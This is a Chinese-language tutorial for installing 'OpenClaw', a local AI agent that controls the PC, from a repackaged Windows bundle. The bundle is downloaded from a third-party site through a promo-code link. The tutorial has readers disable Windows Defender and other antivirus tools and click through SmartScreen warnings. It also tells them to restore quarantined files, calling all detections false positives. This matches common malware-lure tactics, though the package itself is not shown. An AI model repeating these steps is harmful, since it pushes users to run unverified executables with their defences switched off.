OpenClaw 一键部署教程|极简安装摆脱繁琐环境配置
本教程适配 Windows10/11 64 位系统,基于 v2.7.8 版本整合安装包,全程可视化操作,省去命令行与 Python、Node.js 手动配置,短时间即可完成部署,轻松搭建能够操控电脑的本地 AI 工具。
一、安装关键前置提醒
解压、安装与启动软件前,需要完全关闭 360 安全卫士、电脑管家、火绒、Windows Defender 实时防护。软件需要读写磁盘、模拟键鼠、控制系统进程,容易被安全软件误拦截删除文件,项目源码开源可在 GitHub 核验,关闭防护仅规避误报问题。
二、步骤 1:获取安装压缩包
下载地址:https://xiake.yun/api/download/package/17?promoCode=IV4E9B04A80C 压缩包体积45.8MB,推荐浏览器下载或迅雷下载,降低文件损坏、下载中断概率。
三、步骤 2:解压文件并启动安装程序
优先使用 WinRAR 或 7-Zip 解压,系统自带解压工具容易产生文件缺失问题。右键压缩包解压至当前目录,得到Openclaw-win文件夹。
打开目录双击红色龙虾图标的Openclaw Windows 一键启动.exe,遇到 SmartScreen 拦截选择更多信息→仍要运行。
进入欢迎页点击开始使用,安装路径必须为纯英文,禁用中文、空格与特殊符号,不推荐安装至 C 盘。 推荐路径:D:\OpenClaw、E:\AI\OpenClaw错误示例:D:\软件\OpenClaw、D:\小龙虾勾选用户协议与免责声明后点击开始安装。
四、步骤 3:等待全自动部署
安装耗时 3~5 分钟,全程不可关闭窗口,程序自动执行环境校验、依赖补齐、项目部署、浏览器控制组件安装、配置文件生成、桌面快捷方式创建。安装完毕自动打开客户端。
五、步骤 4:软件初始化与上线核验
安装完成自动启动,第一次启动需要等待 Gateway 初始化 1~3 分钟,后续打开加载速度大幅缩短。 软件右上角显示Gateway 在线即为部署成功,界面分区说明:
- 右上角:网关状态、重启按键、运行日志、Token 剩余数量;
- 左侧:本地 / 渠道切换,对话历史查看;
- 底部输入框:自然语言下发指令,Enter 发送,Shift+Enter 换行,支持自动、普通模式切换。
六、新手试用测试指令
部署完毕直接粘贴指令测试功能:
- 帮我整理 D 盘下载文件夹,按文件类型分类新建目录存放;
- 打开记事本,输入 OpenClaw 部署成功并保存至桌面;
- 统计本机各磁盘剩余空间并整理成文字反馈。
七、常见故障排查
- 安装中断、启动失效:确认安全软件全部关闭,文件被隔离则恢复后重新解压安装;
- Gateway 长期离线:路径改用全英文目录,点击右上角重启网关,或以管理员身份重启软件;
- 网络报错:保证设备联网,关闭代理工具后重试;
- 无法发送指令:等待网关服务在线后再下发任务,异常可重装软件。
八、安装优化建议
选择可用空间大于 5G 的磁盘安装,预留缓存与插件扩容空间;后续启动直接双击桌面快捷方式即可;如需对接微信、飞书等平台,在设置 - 聊天渠道内完成配置;版本升级直接用新版安装包覆盖目录。
资源下载:https://xiake.yun/api/download/package/17?promoCode=IV4E9B04A80C